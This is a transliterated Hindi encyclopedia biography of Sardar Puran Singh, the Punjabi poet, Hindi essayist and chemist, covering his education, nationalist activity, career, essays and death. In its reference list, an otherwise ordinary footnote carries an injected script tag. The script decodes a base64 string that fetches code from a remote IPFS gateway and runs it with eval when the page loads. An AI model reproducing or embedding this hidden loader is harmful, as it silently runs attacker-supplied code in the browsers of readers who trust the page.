सरदार पूर्ण सिंह
saradar poorn sianh
| |
| poora nam | saradar poorn sianh |
| janm | 17 faravari, 1881 |
| janm bhoomi | ebatabad, pakistan |
| mrityu | 31 march, 1931 (aayu- 50 varsh) |
| mrityu sthan | deharadoon, uttarakhand |
| abhibhavak | pita- saradar karatar sianh bhagar |
| pati/patni | maya devi |
| karm bhoomi | bharat |
| mukhy rachanaean | hindi-‘sachchi virata’, ‘kanyadan’, ‘pavitrata’, ‘acharan ki sabhyata’. panjabi-‘avi chal jot’, ‘khule maidan’, ‘khule khuand’, ‘mera saanee’, ‘kavida dil kavita’. |
| vishay | kavita, lekh, nibandh |
| bhasha | hindi, panjabi, aangrezi, urdoo |
| prasiddhi | deshabhakt, shikshavid, lekhak |
| nagarikata | bharatiy |
| any janakari | adhunik panjabi kavy ke sansthapakoan mean poorn sianh ki ganana hoti hai. 1907 ke aranbh mean ve deharadoon ki prasiddh sanstha 'van anusandhanashala' mean rasayan ke pramukh paramarshadata niyukt kie ge the. is pad par unhoanne 1918 tak kary kiya. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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saradar poorn sianh (aangrezi: Sardar Puran Singh, janm- 17 faravari, 1881, ebatabad; mrityu- 31 march, 1931, deharadoon) bharat ke vishisht nibandhakaroan mean se ek the. ye deshabhakt, shikshavid, adhyapak, vaijnanik evan lekhak bhi the. isake sath hi ve panjabi ke jane mane kavi bhi the. adhunik panjabi kavy ke sansthapakoan mean poorn sianh ki ganana hoti hai.[1]
parichay
poorn sianh ka janm 17 faravari san 1881 ko pashchim simapraant (ab pakistan mean) ke hazara zile ke mukhy nagar ebatabad ke samip salahad gram mean hua tha. inake pita saradar karatar sianh bhagar sarakari karmachari the. unake poorvapurush zila ravalapiandi ki kahoota tahasil ke gram dera khalasa mean rahate the. ravalapiandi zile ka yah bhag pothohar kahalata hai aur apane prakritik sauandary ke liye aj bhi prasiddh hai. poorn sianh apane mata-pita ke jyeshth putr the. qanoonago hone se pita ko sarakari kary se apani tahasil mean pray: ghoomate rahana p data tha, at: bachchoan ki dekharekh ka kary pray: mata ko hi karana p data tha.
shiksha
poorn sianh ki praranbhik shiksha tahasil haveliyaan mean huee. yahaan masjid ke maulavi se unhoanne urdoo padhi aur sikkh dharmashala ke bhaee belasianh se gurumukhi sikhi. ravalapiandi ke mishan haeeskool se 1897 mean pravesh pariksha pratham shreni mean uttirn ki. san 1899 mean di. e. vi. k aaulej, lahaur; 28 sitambar, 1900 ko ve tokyo vishvavidyalay, japan ke phaikalti aauf medisin mean aushadhi nirman sanbandhi rasayan ka adhyayan karane ke liye "vishesh chhatr' ke roop mean pravisht ho ge aur vahaan unhoanne poore tin varsh tak adhyayan kiya.
svatantrata ke prati sahanubhooti
1901 mean tokyo ke 'orieantal klab' mean bharat ki svatantrata ke liye sahanubhooti prapt karane ke uddeshy se poorn sianh ne kee ugr bhashan die tatha kuchh japani mitroan ke sahayog se bharat-japani-klab ki sthapana ki. tokyo mean ve svami ji ke vicharoan se itane adhik prabhavit hue ki unaka shishy banakar unhoanne sannyas dharan kar liya. vahaan avasakal mean lagabhag dedh varsh tak unhoanne ek masik patrika 'thandariang d aaun' ka sanpadan kiya. sitambar, 1903 mean bharat lautane par kalakatta (adhunik kolakata) mean us samay ke british shasan ke viruddh uttejanatmak bhashan dene ke aparadh mean ve bandi bana lie ge, kiantu bad mean mukt kar die ge.
vyavasayik jivan
ebatabad mean kuchh samay bitane ke bad poorn sianh lahaur chale ge. vahaan unhoanne vishesh prakar ke teloan ka utpadan aranbh kiya, kiantu sajha nibh nahian saka. tab ve apani dharmapatni mayadevi ke sath masoori chale ge aur vahaan se svami ramatirth se milane tihari gadhaval mean vashishth ashram ge. vahaan se lahaur lautane par agast, 1904 mean viktoriya dayamand jubali hiandoo teknikal ianstityoot ke priansipal ban ge aur 'thandariang d aaun' pun: nikalane lage. 1905 mean kaang da ke bhookanp pi ditoan ke liye dhan sangrah kiya aur isi prasang mean prasiddh deshabhakt lala haradayal aur d aauktar khudadad se mitrata huee jo uttarottar ghanishthata mean parivartit hoti gee tatha jivanaparyant sthayi rahi. svami ramatirth ke sath unaki aantim bheant julaee, 1906 mean huee thi. 1907 ke aranbh mean ve deharadoon ki prasiddh sanstha van anusandhanashala mean rasayan ke pramukh paramarshadata niyukt kie ge. is pad par unhoanne 1918 tak kary kiya. yahaan se avakash grahan karane ke pashchat, patiyala, gvaliyar, saraiya (panjab) adi sthanoan par tho de-tho de samay tak kary karate rahe.
dvivedi yug ke shreshth nibandhakar
saradar poorn sianh ko adhyapak poorn sianh ke nam se bhi jana jata hai. ve dvivedi yug ke shreshth nibandhakaroan mean se ek haian. matr 6 nibandh likhakar nibandh-sahity mean apana nam amar kar liya. apake nibandh naitik aur samajik vishayoan se sambaddh haian. avegapoorn, vyaktivyanjak lakshanik shaili unaki visheshata hai. vishesh pratipadan ki drishti se unhoanne bhavukata pradhan shaili ka vishesh prayog kiya hai. saradar poorn sianh ke nibandhoan ki vishay-vastu samaj, dharm, vijnan, manovijnan tatha sahity rahi hai. "sachchi virata" is nibandh mean unhoanne sachche viroan ke lakshan evan visheshataoan ka bhavatmak evan kavyatmak varnan kiya hai. "majadoori aur prem" mean unhoanne donoan ke sambandhoan ka vicharatmak evan uddharan shaili mean varnan kiya hai. "acharan ki sabhyata" mean desh, kal evan jati ke lie acharan ki sabhyata ka mahattv pratipadit kiya hai. apane jivan moolyoan ko acharan mean utarakar shreshth banana hi acharan ki sabhyata hai. pray: shramik-se dikhane vale logoan mean acharan ki sabhyata hoti hai. unake nibandhoan ki bhasha urdoo aur sanskrit mishrit bhasha hai. unhoanne kuchh sooktiyoan ka prayog bhi nibandhoan mean kiya hai. jaise- "viroan ke banane ke karakhane nahian hote." acharan ka rediyam to apani shreshthata se chamakata hai. unaki shaili kavyatmak, bhavatmak, alankarik hai. kahian-kahian vaky bahut lambe-lambe v jatil ho gaye haian. tark evan buddhipradhan nibandh unaki shailigat visheshata hai.[2]
kritiyaanan evan nibandh
poorn sianh ne aangrezi, panjabi tatha hiandi mean anek granthoan ki rachana ki, jo is prakar haian-
- aanangrezi kritiyaan
‘di stori aauph svami ram’, ‘di skechej phram sikkh histri', hij phit’, ‘shart storij’, ‘sistars aauph di spiniang havil’, ‘guru tegabahadur’ laiph’, pramukh haian.
- panjabi kritiyaan
‘avi chal jot’, ‘khule maidan’, ‘khule khuand’, ‘mera saanee’, ‘kavida dil kavita’.
- hiandi nibandh
‘sachchi virata’, ‘kanyadan’, ‘pavitrata’, ‘acharan ki sabhyata’, ‘majadoori aur prem’ tatha amerika ka mastana yogi valt hivat maiann.
- any
vinapleyars, guru goviandasianh, di laiph eand tichiangs aauv shri guru tegabahadur, 'aaun di paths aauv laiph, svami ramatirth maharaj ki asali jiandagi par tairana najar ityadi
mrityu
saradar poorn sianh ne jivan ke aantim dinoan mean zila shekhoopura[3] ki tahasil nanakana sahab ke pas krishi kary shuroo kiya aur kheti karane lage. ve 1926 se 1930 tak vahian rahe. navanbar, 1930 mean ve bimar p de, jisase unhean tapedik rog ho gaya aur 31 march, 1931 ko deharadoon mean saradar poorn sianh ka dehaant ho gaya.
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tika tippani aur sandarbh
- ↑ pustak- bharatiy charit kosh, lekhak- liladhar sharma 'parvatiy', prakashak- shiksha bharati, madarasa rod, kashmiri get, dilli, sankalan- bharatakosh pustakalay, prishth sankhya- 476
- ↑ saradar poornasianh (hiandi) pablish yor artikal. abhigaman tithi: 6 faravari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ab pashchimi pakistan
sanbandhit lekh
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